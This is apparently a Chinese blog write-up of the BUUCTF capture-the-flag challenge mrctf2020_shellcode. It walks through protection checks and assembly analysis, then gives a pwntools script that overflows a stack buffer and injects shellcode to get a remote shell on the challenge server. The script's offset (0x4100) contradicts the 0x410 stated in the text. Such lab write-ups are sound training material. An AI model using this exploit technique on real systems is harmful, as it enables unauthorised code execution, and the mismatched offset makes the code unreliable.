buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27977)              # 与在线环境交互。

shellcode = asm(shellcraft.sh())
offset = 0x4100
buf_addr = 0x7fffffffdaf8

payload = shellcode.ljust(offset,b'a') + p64(buf_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

相关推荐
FairGuard手游加固7 小时前
手游加固怎么做?SO、IL2CPP、AssetBundle 与运行时保护详解
安全·游戏·unity
不昀8 小时前
网口Link Up后仍然掉线,怎样区分物理链路和数据通路问题?
linux·以太网
迪康妍妍8 小时前
终端管控实操:封堵网盘与IM外发通道的落地思路
运维·网络·安全·架构·安全性测试
kunicoding8 小时前
多线程编程核心概念详解:从线程基础到并发安全
java·jvm·安全
FinelyYang8 小时前
JeecgBoot + EuroOffice 协同文档在线编辑全栈接入指南(支持 JWT 安全校验)
安全
Lhan.zzZ8 小时前
Qt WebEngineView 在 Linux 上无法加载网页:从“看不见 HTML“到“禁用沙箱“
linux·c++·qt
舰长1159 小时前
curl发布8.23.0修复24个漏洞
安全
Fcy64810 小时前
Linux下 多路转接select详解
linux·select·多路转接
无足鸟ICT10 小时前
【RHCA+】RPM包命名规则
linux·运维·服务器
迪康Defender11 小时前
终端安全运维:浅谈迪康端点安全一体化管理系统工具箱实用能力
运维·安全·信息可视化·自动化·运维开发·学习方法·远程工作